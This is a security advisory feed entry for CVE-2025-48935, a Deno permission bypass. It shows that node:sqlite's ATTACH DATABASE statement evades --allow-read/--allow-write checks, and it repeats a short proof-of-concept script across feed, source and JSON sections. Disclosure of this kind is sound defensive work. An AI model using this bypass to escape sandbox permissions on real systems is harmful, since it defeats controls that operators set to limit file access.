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--allow-read / --allow-write permission bypass in `node:sqlite`

Type: advisorySources: OSV

It is possible to bypass Deno's read/write permission checks by using ATTACH DATABASE statement. ## PoC ``` // poc.js import { DatabaseSync } from "node:sqlite" const db = new DatabaseSync(":memory:"); db.exec("ATTACH DATABASE 'test.db' as test;"); db.exec("CREATE TABLE test.test (id INTEGER PRIMARY KEY, name TEXT);"); ``` ``` $ deno poc.js ```

Products
deno
Affected versions
Not specified
Fixed versions
2.2.5
CVEs
CVE-2025-48935
Confirmed fixed CVEs
Not specified
Updated in this feed
30 Oct 2026, 08:44 UTC · Revision 1

Source evidence

--allow-read / --allow-write permission bypass in `node:sqlite`

core-osv · Original source

Published 3 Jun 2025, 12:00 UTC

It is possible to bypass Deno's read/write permission checks by using ATTACH DATABASE statement. ## PoC ``` // poc.js import { DatabaseSync } from "node:sqlite" const db = new DatabaseSync(":memory:"); db.exec("ATTACH DATABASE 'test.db' as test;"); db.exec("CREATE TABLE test.test (id INTEGER PRIMARY KEY, name TEXT);"); ``` ``` $ deno poc.js ```

osv:RUSTSEC-2025-0138

deno

Fixed versions: 2.2.5

Complete source record
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  "method": "structured",
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    "summary": "It is possible to bypass Deno's read/write permission checks by using ATTACH DATABASE statement. ## PoC ``` // poc.js import { DatabaseSync } from \"node:sqlite\" const db = new DatabaseSync(\":memory:\"); db.exec(\"ATTACH DATABASE 'test.db' as test;\"); db.exec(\"CREATE TABLE test.test (id INTEGER PRIMARY KEY, name TEXT);\"); ``` ``` $ deno poc.js ```",
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